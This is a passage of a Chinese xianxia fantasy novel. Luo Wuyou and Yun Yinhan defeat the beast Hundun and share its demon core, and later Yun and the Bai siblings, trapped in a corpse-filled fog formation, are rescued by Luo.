落无忧本来有青鸾神兽,但是在古阵中无法驭兽,只能靠着轻功飞行,十分耗能。此刻见云殷寒等着自己,不禁心下感激,也不客气,当下一跃,在云殷寒后边站定。
云殷寒见她站定,便开始御剑而行。
地底的震动越来越大越来越近。两人都感到一股压迫感扑面而来。
魔气与灵气皆是越来越浓。
瘴气越来越浓,几十丈外竟是白茫茫的一片了。
“砰”的一声,一个巨大的身影在迷雾中若隐若现。
只见那魔物有好几丈高,在迷雾中仿佛是在白布上的影子。
影子上有四个巨大的翅膀,四只脚。
两人齐齐吸了口气:竟是上古魔兽混沌。
4. 阵中阵(终)
传说混沌有目而不见,有两耳而不闻,有腹无五脏,行走而足不开。
两人迅速朝两边散去,混沌显然还未发现他们,只是缓缓地向前移动。
两人对视一眼,在心中默数三个数后,同时发起进攻。
残星剑急速旋转,竟生生的化出十多把剑,化作十多条水蓝色的龙猛的向混沌围去。
残星楼云家的著名云龙剑法!
落无忧手中栖汩猛的发出巨大的紫光,搅动风云,惊雷乍现,紫电忽闪。
蓝光和紫光猛的打向混沌,混沌大吼一声。随即四翅煽动,宛如迅雷一般猛的袭来,两人不敢硬接,急急躲开。
混沌猛然张口,一片火海随即喷出,熊熊烈火,宛如死神降临,烈火所至之处,草木狼藉,寸草不生。
两人对视一眼,同时出手。
残星剑化作一道蓝光斩向混沌的一只右翼,栖汩鞭带着紫电绕向混沌一只左翅。
蓝光将混沌的一只右翼劈成两半,紫光用力绕住混沌的一只左翼。
混沌嘶吼一声,猛的转向云殷寒,落无忧被它甩出几丈。“轰”的一声撞在一棵大树上,心肺传来一阵翻滚,落无忧“哇”的一声吐出一口鲜血。
混沌张开嘴,朝云殷寒再次喷火,云殷寒右手掏出一张符纸,双手结印,符纸发出蓝色光芒,化作一条水龙飞向混沌,竟硬生生浇灭了混沌口中的熊熊烈火。
混沌再次挥动两只完好的翅膀,一阵狂风猛的吹来,将云殷寒往后吹去。
而正是那时,云殷寒身后的树上正趴着一只冰蓝色的蝎子。
那是青枫山脉五大毒虫之一:冰蝎子。
《青枫经·异虫传》曾载:“冰蝎子,乃青枫山脉五大毒虫之一。通体冰蓝色,宛如冰雕。中冰蝎毒者,起初四肢冰冷,剧痛至极。而后扩散到全身,乃至全身冰冷,修为尽散而死。”
那只冰蝎子正露出一把闪着寒光的钳子。
说时迟那时快,落无忧手中丢出一只黑色蛊虫,口中念着苗语,随着落无忧声音落下,那只蛊虫猛的长大,不过片刻,便有六七寸长。
那只蛊虫将冰蝎子猛的抓下,两只虫子一起从古树上掉落。
混沌再次朝云殷寒喷火,云殷寒再次结印,一朵硕大的雪花浮于身前,在熊熊烈火的焚烧下渐渐融化,化作冰水一滴一滴滴下。随即那朵雪花蓦地消融,云殷寒倒飞出去,猛的吐出一口鲜血,挣扎半刻,竟是无法起身。
落无忧伸手抹了一把嘴角,将鲜血擦去。
她又舔了舔小虎牙,嘴里的血腥味使她清醒了些。
她双手结印,结印动作却与中土的有些不同。
随着她伸手结印,她身上泛出紫色光晕,随后一团紫色火焰蓦地出现飞向混沌。
火焰所至,万物成灰。混沌嘶吼一声,急急后退。
云殷寒咬了咬牙,用力起身。趁着落无忧吸引住混沌的注意力,他紧紧握住残星剑,与残星剑化作一道闪电猛的飞向混沌,速度极快。
等到落无忧反应过来时,云殷寒与残星剑已然穿透混沌。
落无忧立即放大火焰,紫色漫天,混沌顿时灰飞烟灭,化作漫天萤火。
云殷寒不染纤尘的白衣破烂狼狈,唇边还有一道血痕。
落无忧低头,只见与冰蝎子作战的蛊虫已被撕碎,不禁遗憾道,“可惜了我的蛊虫。”
混沌一死,地面的墨泉纷纷消失,不过片刻,已露出原本的土地。
“小心!”落无忧话音刚落,一颗金色珠子蓦地飞向云殷寒,没入其体内。
那是混沌的魔丹,带有极大煞气和无限怨气。
云殷寒单膝跪地,一手拄着残星剑,一手捂着胸口,墨发披散,脸色苍白。
他只觉体内有两股力量在斗争。他乃云家嫡长子,修习的是正道功法,不夹一丝邪气,且偏水系。
而混沌乃上古魔兽,集天地魔气、怨气、邪气于一身,且偏火系。
混沌魔丹与他本就是水火不相容。
此刻,两种力量相互争斗,竟有些难分胜负,再这样下去,他会被两股力量生生撕碎。
云殷寒青筋暴出,额上冷汗阵阵。
落无忧环顾四周,只见古木渐渐消失,瘴气消散,光线渐渐变亮。
想来是混沌已死,古阵已破吧。
落无忧看了一眼云殷寒,转身就走,两人合作关系已解除,她实在不想多管闲事,毕竟刚刚云殷寒还不分青红皂白地对她下死手呢。
紫衣少女潇洒转身,却在走了几步后硬生生的顿住脚步。
默了半晌,她懊恼地骂道,“我再帮他一次。”
苗疆湿冷,不可在地面上疗伤。
落无忧抬头看了一眼身旁的大枫树,见枫树上有一个分叉,心念一动,劈手砍了几根树枝架在上方。随后,伸手扶起云殷寒,“咻”的一声,将云殷寒带到树上。
云殷寒盘腿而坐,落无忧与他对坐。伸手与他十指相贴,闭上眼睛,缓缓将自己灵力渡给云殷寒。
过了半晌,却并未渡入,反而受到云殷寒内力的反弹,叫她生生吐了口鲜血。
落无忧伸手抹了一把唇边的血,沉默半晌。
这时她腰间小布袋里飞出一只青鸾鸟,阿鸾撒娇地凑近落无忧,落无忧心中烦闷,骂道,“玩你的,别烦我。”
阿鸾委屈地叫了几声。落无忧不再理会它。
云殷寒脸色越发难看,嘴唇竟开始微微泛紫。落无忧咬了咬牙,骂道,“这下你是欠我一条命了。”
随即她双手结印,丝丝缕缕的灵力泛出,那颗金丹竟从云殷寒丹田处缓缓浮出。
下一秒便没入落无忧体内。阿鸾见状,焦急地叫了几声。
落无忧脸色苍白,额头上冷汗沁出。过了半晌,才安慰阿鸾道,
“无事。我体内本就有邪气,若将此魔丹炼化,假以时日,它定能为我所用。”
阿鸾叫了一声,仿佛是在说,“骗人。”
落无忧不再理睬阿鸾,开始闭目修习,打算先将魔丹压制再慢慢融炼。
她体内确实有邪气,但并不多,毕竟是六大楼阁之人,又怎会修习魔道。因此,魔丹在她体内的感觉也并不比在云殷寒体内好多少。
云殷寒醒来时见到的便是这样一幕:
那时正处于黄昏,太阳将落不落,洒下亿万余晖给人间,天边火烧云连绵不绝,像是熊熊燃烧的烈火,也像是肆意绽放的曼珠沙华,火红如血。
阿鸾在他们周围焦急地飞来飞去,少女正在打坐,脸色苍白,长而密
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的睫毛微微颤动,清秀的额头上冷汗阵阵,汗水沾湿了少女的鬓边碎发。
夕阳余晖给少女镀上一层金边,折去了少女桀骜不羁的神色,温柔了少女略显稚嫩的眉眼。
他企图使力,却凝不起任何灵力。体内的撕裂感却不再存在,他了然,是少女救了他。
云殷寒闭目养神,过了几个时辰,身体才渐渐恢复,而此时,暮色四起,黑暗如空气般填满天地。
而落无忧依旧紧闭双眼,云殷寒双手结印,将落无忧设的结界扩大一倍。一来苗疆湿热,可以躲避毒虫猛兽,二来可以隐藏气息,防止仇家找上门。
云殷寒跳下树枝,捡了堆枯枝,右手一凝,枯枝蓦地起火。
云殷寒离开了一会,带回一只山鸡,剥皮烤上后在火堆旁静静发呆。
落无忧是被香味叫醒的,睁开眼睛时,眼底只剩无边无际的黑与忽明忽暗的火堆。一股香味扑鼻而来,她低头一看,只见云殷寒靠着枫树坐在火堆旁,火堆上烤着一只山鸡。
落无忧跳了下来,在云殷寒旁边坐下来。肚子“咕”的响了一声,她有些郝然地将目光放到远处。
云殷寒唇角微微勾了一下,伸手拿过山鸡,撕成两半,一人一半。
两人吃过山鸡,坐在火堆旁。在寂寂无声的夜里,枯枝发出“啪嗒啪嗒”的燃烧声。
“多谢。”云殷寒清冷的声音传来,落无忧模糊的意识清醒了一下,又扛不住困意,只得一手撑着下巴,喃喃道,“你欠我……两次了。”
随即,实在困不住,便在火堆旁躺下。仲秋的青枫遍地都是火红的一片片,灿烈如火的枫叶落在地上,扑就一片片柔软火红的毯子。
不过片刻,落无忧便已陷入睡梦。
入睡后的少女拂去傲气,眉眼乖巧,宛如小猫一般可怜可爱。
云殷寒从储物袋中拿出一袭象牙白披风,顿了片刻,将披风盖在少女身上。
他看着火堆愣愣出神。一会便也陷入梦境。
迷迷糊糊间先传入云殷寒耳中的是如佩环相碰般清脆悦耳的溪流声。
这是哪?
云殷寒费力地睁开眼睛,映入眼帘的却是一片一片的白雾,随后白雾渐渐消散,云殷寒朝小溪走去。
只见小溪边一个女子正在浣衣,那女子穿着白色衣服,墨发披散,没戴一个头饰。
“请问这是哪儿?”
云殷寒开口询问。那个女子猛的转身,显然是吓了一跳。
见其容貌,云殷寒心中一愣,只见女子容貌清丽倾城,干净如斯,她不似火魅那般妩媚多姿,也不似落无忧那般俏皮可爱,但人见了便自惭形秽,让人觉得天仙便该是她那样的。
女子的神色从惊慌变成了疑惑再变成了柔和。
“这里是盈虚境,你来此作甚?”
盈虚境。
云殷寒沉默不语,那女子却温和道,“想来你是误闯了。”
又顿了顿,“相遇即是缘我见你眉眼熟悉,便赠君一言:
正道在心不在名。”
说罢,女子便携篮子离去,又忽的叹道,“因果循环啊……”
云殷寒不解,正要询问,却只见茫茫白雾,哪见女子身影。
云殷寒猛的惊醒,愣了半晌,再无睡意。
5. 鬼雾阵(一)
伏魔山,潋滟宫。
潋滟宫的花园里有一个湖,名曰清雪湖。
冰天雪地,银装素裹,清雪湖一片冰蓝,湖上有一座亭,仿佛海鸟般展翅欲飞。
火魅坐在亭子里,穿着一袭火红貂皮棉袍,外加一个火红狐皮披风,长发不施饰品,宛如瀑布般倾泻而下,在妩媚中又添了一分纯净。
她面前的火盆里碳火正旺,亭子四面鲛纱飘舞,清雪湖上白雾茫茫,宛如天界。
白衣少女娥汐站在火魅身旁,下方四个粉衣少女正在添碳、煮茶。
火魅玩弄着蔻丹,问道,“朱魇这家伙怎么还没来?”
娥汐默了半晌,方道,“快了吧。”
话音才落,便听漓羽的声音远远传来,“主子,那老孔雀来了。”
少女话音刚落,便听一道气急败坏的声音传来,“你才老!你全家都老!”
随即,一个粉衣少女踏进亭子,行了个礼,便垂手站在火魅另一侧。
朱魇随即进入小亭子,他看着漓羽“哼”了一声,坐在了火魅下方。
朱魇开口道,“听说对付其他五大楼的人也并不轻松啊!”
火魅并未抬眼,开口道,“与我何干,我只管好残星楼便成。”又顿了顿,道,“你与我一同联手,如何?”
朱魇冷笑道,“我并未接到任务。”
“五五分,嗯?”
火魅忽的抬眼,眼尾细长,妩媚至极,眼神却清冷。
“成。”
###
天色渐明时落无忧是被林间的鸟鸣声吵醒的,林间的鸟儿叽叽喳喳叫个不停,吵得落无忧心烦。
她猛的睁开眼睛,想要去驱赶鸟儿,却见自己身上披着一件月白色披风,环顾四周,却不见云殷寒身影,面前的火堆却依旧熊熊燃烧。
落无忧把披风折好放在一旁,心情突然一好,便决定放过那只鸟儿。
她打坐片刻,昨日她虽将魔丹暂时压制,但得回去拿些药来,以防有朝一日,魔丹突然破裂,以致她入魔。
这魔丹要是能慢慢炼化的话,倒是可以增加她的修为。
正想着,云殷寒便朝她而来,手中拎着一只已死的野兔。
落无忧了然,原来是去觅食了啊。
云殷寒熟练地剥开野兔皮毛,将兔子串上,烤着。
落无忧有些疑惑,残星楼少楼主本该是个娇生惯养的主儿,怎会比自己还熟练?
云殷寒下垂的睫毛颤了颤,仿佛知道落无忧在疑惑什么似的解释道,“出去历练次数多了,便也熟练了。”
落无忧点了点头,没有开口。
等兔子烤熟,两人吃了之后便打算就此分别。
落无忧解除结界,吹了口哨,阿鸾从她腰间的口袋里飞出。
阿鸾猛然散发出金色光芒,随后便越来越大,最后竟变成了几丈之长,其周身呈现出淡金绿色,其翼若垂天之云,尾如仙女彩带,神似万鸟之王。
落无忧忽的转身,朝云殷寒嫣然一笑,一对虎牙儿俏皮可爱。
这笑容宛如乌云散尽后阳光洒满人间般明媚动人,云殷寒的心猛然一动。
“哥哥,咱们就此别过,后会有期!”
说罢,少女足尖轻点,宛如轻柔的蝴蝶般飞起。
转眼已站在阿鸾背上。
云殷寒抿着唇看着青鸾背上的少女,忽的开口,“你叫什么名字?”
落无忧闻声回头,粲然一笑,露出两颗尖尖的虎牙儿,愈显其俏皮又狡黠。
只听她用如山间溪流般清亮欢快的声音回道,“我姓落!至于名字嘛……等下次见面,我再告诉你!”
说罢,落无忧转过头,青鸾鸟展翅而飞,划破天际,不过片刻便已不见踪迹。
*——
幻月大陆的正中央是残星海,这片海域为五角星形,呈深碧色,波光粼粼,星光点点,幽蓝深邃,仿佛倒扣的天穹。
残星海中四十八岛,宛如明星。四十八岛都是六大楼之首——残星楼之领域。
残星楼为云姓之族,直系宗族通常穿残星素锦袍。一袭白衣清贵如仙,白衣上锈有精美云纹,左胸之处锈有三颗星星。
残星海的五个角落分别坐落着其他的五大楼。
西北炎阳殿,北方天虹山,东方弦月阁,东南轻云门,还有最神秘的西南青枫宫。
世人皆知,西南青枫宫乃六大楼中最神秘的门派。
其原因之一为其他门派都有确定的位置,而青枫宫的具体位置无人可知。世人皆知其位于青枫山脉,而不知其具体位置。
青枫山脉高耸险峻,支脉众多,地广人稀,妖兽众多,迷阵重重。
传说青枫宫有众多高手坐镇,活像一个世外桃源,与世隔绝。也有人说青枫宫空有其名,其实依山而建,宫中无人罢了。
说其神秘的另一原因为其他五大楼都有特殊的衣袍、配饰或者标识,例如残星楼的残星素锦袍,炎阳殿的额间焰,天虹山的七彩头纱,弦月阁的鬼面具,轻云门的轻云鹿皮靴。
弟子在外都可被认出,而青枫宫好像并没有这些东西,不过即便是有也是少有人知。
这个小姑娘究竟为何人?又为何在此?
思索片刻,云殷寒便迅速下山。
青枫山脉有多条支脉,如今他所在之处是最靠近残星海——也就是最外围的北枫岭。
下山后,他走进一个小镇。那个小镇离北枫城四十余里。
虽只是个小镇,但镇上人并不少。有很多修仙门派的弟子——大多是来历练与寻宝。
云殷寒穿过热闹非凡的街道,进入一家酒楼,在二楼靠窗的位置坐下。
店小二赶忙询问道:“吃点什么呀?小哥。”
云殷寒是第一次来西南一带,并不知道这里的特色,便问道:“这里有何好酒好菜?”
店小二见人颇多,一看到云殷寒左胸处的残星图案便知其身份之尊贵,丝毫不敢怠慢,笑答道:
“想来小哥应该知道,北枫岭乃进青枫山脉的最佳路径,各路人马在此汇集……”
云殷寒点了点头,北枫岭并非青枫山脉的唯一入口,但的确是最佳选择。
“世人常言‘青枫三宝’其中一宝便是北枫镇的‘梅子酿’。”
北枫镇盛产梅子,成片成片的梅林,造就了当地著名的梅子酿和梅子酸辣鸡。
店小二滔滔不绝地介绍完当地的特色后,终于下楼准备酒食
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。
云殷寒这才感觉耳边终于恢复清静。
他看了一眼店内,二楼人少,甚是清静。
店内弥漫着一股淡淡的梅花香,是以梅花制成的独特香料。
云殷寒正在思索,耳边传来一道熟悉的声音——
“梅子酿?!那就梅子酿好了!”
紧接着,上来了一个身着秋香色衣裙的女子和一个穿着藏青色衣袍的少年。
女子容貌淡雅,一弯细细黛眉,一洼温柔秋眸,看似弱不禁风,手中却紧握长剑。
少年肤色白皙,双眸透亮,高马尾随风而动,充满阳光与活力,可他眉眼间却透出一丝不羁与狂妄。
两人都穿着秋香色的靴子,靴子绣有米白色的云朵——轻云鹿皮靴。
是轻云门之人!
青衣少年眼尖,抬眼便看见靠窗的云殷寒,他立即抬手朝云殷寒打招呼,叫道:“云大哥!”
黄衣女子听到少年的惊呼,顺着少年目光看去。
看见云殷寒,她面露喜色,还未开口,便听云殷寒唤道:“阿迢,秋尽……”
原来,这黄衣女子乃轻云门白家长女白秋尽,而青衣男子便是她的弟弟——轻云门少主白隐迢。
白秋尽与白隐迢到云殷寒旁边坐下。
三人都面露喜色。白秋尽脸上竟显现出一团薄薄的红晕。
“这一别,转眼三年了啊。”
残星楼创楼者的爱妻乃轻云门创门人之妹。两个门派关系甚佳,为进一步联盟,他们便立下盟约:残星楼楼主之妻必须为轻云门白家女子,以永结秦晋之好。
云殷寒为云家嫡长子,残星楼少主,生来便被当做楼主培养,为了与为了楼主夫人培养感情,在十六岁时,他被送到轻云门待了一年。
他与白家姐弟的情谊便在那时结下的。
白秋尽比他小三个月,而白隐迢则比他小两岁。
云殷寒生性冷淡,白隐迢则调皮捣蛋。
虽然白隐迢总是喜欢捉弄别人,但是他对云殷寒却是异常的恭敬喜爱。
云殷寒十七岁那年回残星楼后,他们三人便有三年未见面了。
“你还好意思说,你都不来看我们!”
白隐迢玩笑地一拳打在云殷寒肩头。白秋尽见自家弟弟这般不礼貌,便嗔怪道:
“阿迢,没大没小的!”
白隐迢看着自家姐姐这副娇羞的样子,笑道:“好啊,阿姐还没嫁进云家就胳膊肘往外拐了啊!”
闻言,白秋尽的脸更红了。她看了一眼云殷寒,云殷寒尴尬的移开视线。
白秋尽愠怒道:“阿迢,不许胡说!”
白隐迢哈哈一笑,云殷寒开口感慨道:
“并非不去看你们,只是近些年来,家父身体日益况下,我一直帮着处理楼中事务,实在抽不出时间啊。”
白秋尽温声道:“所以云大哥此番南下是为了……”
云殷寒点了点头,道:
“正是为了寻药而来。”
这时,店小二端上来酒菜。三人终止谈话,白隐迢对店小二道:“把我们的酒菜也端到这里吧。”
“好嘞!”
店小二痛快的答应了,然后下楼。
6. 鬼雾阵(二)
“那你们南下是为了?”
白隐迢看着阿姐娇羞的样子,终于识趣地闭上了嘴,把回答的机会让给白秋尽。
“阿爹让我和阿迢来苗疆,说是好好历练一番。”
苗疆青枫山脉确实是历练的好地方,不仅可以得到珍贵的药材宝物,还可以与妖兽战斗增长作战经验。
云殷寒点了点头。
白秋尽拿过酒坛和酒碗,想要给云殷寒和白隐迢倒酒。
一掀开酒坛,酸爽甘醇之气扑鼻而来。
白秋尽倒出三碗酒,香醇之气更甚,往碗里一看,只见,酒水微微泛黄,酒水入口,幽冷酸爽,甘醇甜美,完美的将梅香和酒香结合起来。
“好酒!”
白隐迢赞叹道。云殷寒亦是点了点头。
“客官,梅子酸辣鸡来了!”
店小二正好来添菜,听此赞赏,心中不免得意起来。
三人往那一盆梅子酸辣鸡中望去,只见鸡体黄嫩,卤汁盖过鸡体一半,汤汁呈淡黄色,一些香菜青菜环绕着鸡体,更加显得鸡体娇嫩可人,香味萦绕,沁人心脾。
三人迫不及待地舀出一点卤汁,卤汁入口,鲜香满口,酸爽至极。
白秋尽已经面红耳赤,她不太能吃辣。
云殷寒见她如此模样,便迅速给她倒了一杯梅子酿。
这梅子酿酒性并不烈,白秋尽喝完后便觉得舒服了不少。
诚然,这梅子酿与梅子酸辣鸡很是相配。
鸡肉入口,松软柔嫩,无需咀嚼便可入腹;鲜香满口,连鸡肉内部都有酸辣之味。
云殷寒心底赞叹不已。
他生于钟鸣鼎食之家,从小锦衣玉食。可那些山珍海味在这酒菜面前却有些黯然失色。
*——
而此刻,一个山洞中,紫衣少女盘膝而坐,正在缓缓吐纳,她体内的魔丹正散发出淡淡的黑气。
不过片刻,那黑气又被少女体内的金光吞噬殆尽。
落无忧猛的睁开眼睛,阿鸾已经缩小到与寻常小鸟差不多大小,围在她身旁飞来飞去。
见到落无忧睁眼,它愈加开心。却听落无忧道,“阿鸾,你回宫一趟。”
阿鸾不满地叫了一声,落无忧继续道,“你回去给我带几粒清余丹来。”
阿鸾沉默了一会儿,便展翅飞去。
其实落无忧本可以自己回去,但是她前几日与师父闹僵了,暂时不愿回去。
*——
三人酒足饭饱后,便各自回客店休息。
次日,云殷寒决定进入青枫山脉的一个分脉——渚清峰。
传说那里危险重重,妖物众多,布满青枫古阵,极为危险。
白家姐弟非要同他一起去。
任凭他如何劝说都不愿放弃,他无法,只好作罢。
于是三人便御剑而行。
三人行了两日后,在渚清峰入口停下。
渚清峰地势过于复杂,不便御剑飞行。三人只好步行翻山。
三人环顾四周,只见郁郁葱葱的苍翠乔木中稀稀疏疏地落着几抹火红的枫树。
三人沿着崎岖的小路往山上走去,越往里走迷雾越重,几丈之外尚能识人,但更远一些便是一片茫茫了。
几人不知走了多远,也不知走了多久,但一直走不出仿佛迷宫一般的林子。
“奇怪,这里明明是深山老林,怎会一点动静都没有呢?”
白隐迢喃喃道。
的确,这里静得可怕,没有虫鱼声,亦没有鸟兽声,甚至连风声都没有。
只有死气沉沉的迷雾在不断地飘散。
“这是一个迷阵。”云殷寒顿了顿,道:“我们怎么绕都会绕回原点。”
这里仿佛有什么东西困住他们,但仿佛又有什么东西指引着他们——指引着他们一直转圈。
渚清峰,无穷无尽的迷雾。
云殷寒脑中灵光一现。
“鬼雾阵。”
云殷寒淡漠的语音一落,白秋尽和白隐迢皆是一惊。
鬼雾阵——青枫二十四古阵之一。
传说鬼雾阵中迷雾重重,阵眼无踪。入阵者皆因灵力衰竭而亡。
六大楼阁皆有记载。
传说,青枫二十四古阵为青枫宫首任宫主帝无邪所创,几百年来,无人可破。
虽然关于鬼雾阵的记载只有寥寥数语,但足以让人不寒而栗。
“需尽早破阵,否则我们将永远被困于此。”云殷寒道。
“我们分头行动吧。”白秋尽的声音传来。
不愧为白家长女,身处如此境地依然能镇定自若,丝毫不输男子。
“好。”云殷寒和白隐迢都点了点头。
三人随即分开,朝不同的方向走去。
————
此刻渚清峰入口处,正站着一个橙衣少女。
少女身段娇小,一双有灵气的眼睛一动不动地盯着渚清峰,眉头轻蹙,不知正在想着什么。
她迈开步子,想要离开,却又不知想起什么。跺了跺脚,也往林中走去。
她的速度极快,形如鬼魅,只留下一道橙色的残影以及清脆的宫铃声。
————
身处鬼雾阵的三人又绕回原处。
“可有发现什么?”云殷寒问道。
白秋尽和白隐迢都摇了摇头。
一个传说中的奇阵,难道就只有无穷无尽的迷雾么?
三人都深感讶然。
就在这时,白隐迢只觉一个东西猛然抓住他的脚踝,他猛的窜起,大叫一声“哎呀”。
残星剑化作一道玄蓝色的光于云殷寒手中飞出,斩断抓着白隐迢的东西。
白秋尽的秋霜宝剑与白隐迢的淡淮剑也纷纷吞吐剑气,护着各自的主人。
残星剑飞回,三人看到地面上的东西,齐齐一惊。
地上躺着一条断臂,一条发出淡淡红光的死人之臂。
方才,它从土中伸出,抓住白隐迢后被残星剑斩断。
而此刻,它正以肉眼可见的速度恢复。
与此同时,迷雾越来越浓,林中传来窸窸窣窣的声音,仿佛有什么东西正在苏醒。
白秋尽的未凋剑化成一道黄光飞入林中。
白秋尽皱了皱眉,她与未凋心念相通,她可视未凋所见,感未凋所闻。
但此时,她竟感觉不出是什么东西。
“应该是一个……不!是……一群……”
白秋尽还未说完,未凋剑倒飞而回,白秋尽脸色苍白,微微娇喘。
与此同时,林中声音越来越嘈杂,越来越密集,越来越快。
而后,迷雾中的东西渐渐显现。
这竟是一群死尸!
它们有的没有手,有的没有脚,有的甚至没有头,只剩一副残躯。
它们从四面八方而来,逼近三人,将三人团团围住。
三人背对背围成一圈,他们的宝剑不断舞动,剑气四射。
那些死尸有的被横砍竖割,有的被大卸八块,还有的被连续不断地前行的同伴扑倒、踩碎……
但他们都以肉眼可见的速度愈合且继续向三人涌来。<
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p>“我去!好恶心啊!!”
白隐迢刚刚砍断一个舌头伸得老长,宛如吊死鬼的死尸后,一个东西从它口中飞出。
白隐迢抬剑格挡闪避,那个东西正中青山宝剑,发出“砰”的一声往旁边飞去。
轻云门的小公子,何曾见过这般恶心的东西。
他眉间杀气更甚,双手结印,淡淮化作一道青光在死尸群中飞舞。
高马尾随风飞舞,藏青色衣袍猎猎作响。清秀的脸上几道纤细的血痕触目惊心,显得张狂又妖娆。
“再这样下去,即便这些只是寻常死尸,我们都会因灵力枯竭而死的!”
白秋尽边挥动未凋剑边说道。
没错,这鬼雾阵中的鬼只是寻常死尸,但其不死不灭,无止无尽。
若不尽快找到阵眼,他们必定会因灵力衰竭而死,然后成为它们中的一员。
云殷寒心中亦是惊诧至极,他虽去过许多地方,见过许多妖兽,但很少遇到阵法,何况还是上古奇阵。
他也有些狼狈,发丝凌乱,因消耗太多灵力而嘴唇苍白,但是手中的残星剑仍旧不断飞舞。
他右手持剑,左手一翻,一道符纸翻于手中。
他右手一动,残星剑悬于身旁吞吐剑气。他双手结印,那道符纸黄光大盛,熊熊烈火随即蔓延,周围的死尸立即炸开一道口子。
“咦?!”白隐迢惊呼了一声。
“怎么了?阿迢!”白秋尽焦急地问道。
云殷寒也是担心地朝白隐迢方向看了一眼。
“别担心,我没事!”白隐迢叫道,“只是……这个吊死鬼居然……死了?!”
话音刚落,云殷寒和白秋尽皆是一喜。
原来,方才那个被白隐迢砍倒的吊死鬼竟是再也爬不起来了。
三人还来不及思索,周围的死尸群又躁动起来。
在嘈杂的声音中,有什么东西在响着,清脆空灵,由远及近,连绵不绝,煞是好听。
周围的尸群开始匍匐下去,好像非常畏惧那个声音。
云殷寒皱了皱眉,脑海中出现一道身影。
白秋尽神色戒备地盯着声音传来的方向。
然而这声音仿佛是从四面八方传来的,并无准确方向。
白隐迢一听到铃铛声,脑中便闪过了那些民间戏本子中的身披红衣,脚戴铃铛的女鬼,不由得喃喃道:
“难道真有漂亮女鬼不成?”
此言刚落,茫茫白雾中传来一声女孩儿的嗤笑声。
白隐迢手一抖,手中的青山剑差点掉落。
白秋尽也是一惊,紧紧地环顾着四周。
而云殷寒听到这个声音,脑海中的身影渐渐成形。
他手持残星剑上前一步,皱着眉头,不知在想什么。
他们三人原本是背靠背地抵御死尸,而云殷寒上前一步后,白家姐弟虽然诧异却也都放下些许的戒备。
铃铛声越来越近,死尸们匍匐于地,发出低低的呜咽声。
而后,白雾中传来一声娇喝:“还不快滚!”
三人周围的死尸纷纷融入土中,然后消失不见,竟没有留下一丝一毫的痕迹。
茫茫白雾中一个人影缓缓走出。
身着橙裙,斜挎一个橙色的小布包,腰系宫铃,明眸皓齿,容貌俏丽,周身散发着灵气。
比起穿紫裙时少了两分邪气,多了两分灵动。
只见,她看着云殷寒微微一笑,露出两颗小虎牙,俏皮又可爱。
少女轻快的声音响起,
“哥哥,我们又见面啦!”
7. 鬼雾阵(三)
“哥哥,我们又见面啦!”
落无忧话音一落。
白家姐弟皆感疑惑,齐齐看向云殷寒。
只见,云殷寒并不应答,只是凝视着眼前的少女,似乎想要将她看透。
没得到回应,落无忧也不恼,她把目光投到云殷寒身后的两人身上。
映入眼帘的是容貌俊美,但颇有狼狈,眉眼间透着股不羁与狂妄的青袍少年以及眉眼细长,柔弱温婉,脸色略微有些苍白的黄裙女子。
两人都穿着秋香色的短靴,上边绣有米白色的白云图案——
轻云鹿皮靴!
“原来是轻云门子弟啊!”
落无忧轻叹道。
“姐姐你好漂亮啊!”
落无忧又将视线移到白秋尽脸上,赞叹道。
声音清亮悦耳,眼神里尽是仰慕。
白秋尽朝落无忧微微一笑,仿佛天山积雪融化般清丽动人。
白隐迢见少女明眸皓齿,充满灵气,一副与江南女子截然不同的模样,不由得心生欢喜。
“云大哥,你们认识么?”
听到白隐迢的话,云殷寒忽的回过神来,收回落在落无忧身上的目光,淡淡道:
“不熟。”
听闻此言,落无忧凑近云殷寒,嘻嘻一笑,道:
“哥哥此言差矣,我救了你们诶,咱们马上就熟了!”
云殷寒退了一步,回视着落无忧,讥讽道:
“还没破阵就说你救了我们,未免也太早了吧。”
落无忧勾了勾唇,道,“这古阵,我可破不了!不过……”
落无忧顿了顿,以一种极度自信的口吻说道:“带你们出去又有何难!”
虽然落无忧言语狂妄,可三人对此毫不怀疑,毕竟落无忧一出现,死尸群便匍匐于地,恐惧至极。
“可是……”落无忧又顿了顿,似笑非笑地盯着云殷寒,眼睛里尽是狡黠,
“我又为何要带你们出去呢?”
听闻此言,云殷寒的嘴角狠狠地抽了一下,却依旧一言不发地回视着落无忧。
白秋尽微微一笑,温声问道:“那,姑娘又为何要进入阵中为我们解围呢?”
“姐姐为何要自作多情呢,我只是路过罢了。”
落无忧笑嘻嘻地回道。
听闻此言,布袋里的阿鸾默默地翻了个白眼。
白隐迢见少女有些动怒,便开口缓和气氛,
“在下白隐迢,这是家姐白秋尽,你叫什么名字啊?”
落无忧撇了撇嘴,道,“我姓落……”随即笑着看向云殷寒,继续道,“名无忧。”
原来她叫落无忧,果真是好名字啊。
不对……落无忧?
云殷寒心中一愣,面上却不动声色。
“那我们就是朋友了!”白隐迢笑道。
落无忧把目光投到高马尾少年身上,只见少年冲她粲然一笑。
“朋友?”落无忧喃喃重复道。
云殷寒盯着落无忧,她好似初生小兽般懵懂,眼神里尽是疑惑。
云殷寒不禁疑惑万千。
她究竟是何人?
他正思考着,落无忧突然抬眸,云殷寒猝不及防的撞入她的鹿眼,她冲云殷寒嫣然一笑,用轻快的声音问道:
“所以,你和我也是朋友了,对吧?”
云殷寒心下一愣,不知该如何作答,只是定定地凝视着她。
“当然啦!大家都是朋友……”
白隐迢话音未落,窸窸窣窣的声音再次响起,消失的迷雾渐渐出现。
云殷寒三人皆是脸色一变,三把宝剑在各自的主人身边吞吐剑气。
落无忧皱了皱眉,一言不发。
死尸群又渐渐的从土中爬出,发出令人作呕的声音。
“它……它们,怎么又出来了啊?!”
白隐迢操着青山剑一阵乱挥,剑光所到之处,死尸纷纷被大卸八块,可他的声音里是藏不住的恐惧与恶心。
云殷寒与白秋尽也纷纷结印,抵挡死尸。
白隐迢看了一眼落无忧,不禁疑惑道:“落落,为何它们不敢靠近你啊?”
云殷寒与白秋尽也往落无忧那儿瞥了一眼。
只见,落无忧周围两丈之外围满了死尸,但它们却不像是攻击的姿势,而是,像是在……像是在保护她!
落无忧微微一笑,一双鹿眼中尽是狡黠,一对虎牙尽显俏皮。
她伸手摘下腰间的银铃,冲白隐迢摇了摇宫铃,道,
“因为,我有这个啊!”
清脆的宫铃声阵阵传来,正在攻击云殷寒三人的死尸群明显的僵了一下,不过却不像方才那般匍匐在地,臣服于她。
落无忧冲几人叫道:“你们快到我身旁,我先带你们出去!”
听闻此言,三人一边抵御着死尸,一边朝她移来。
落无忧听着周围死尸的呜咽声,皱了皱眉。
“怎么了?”
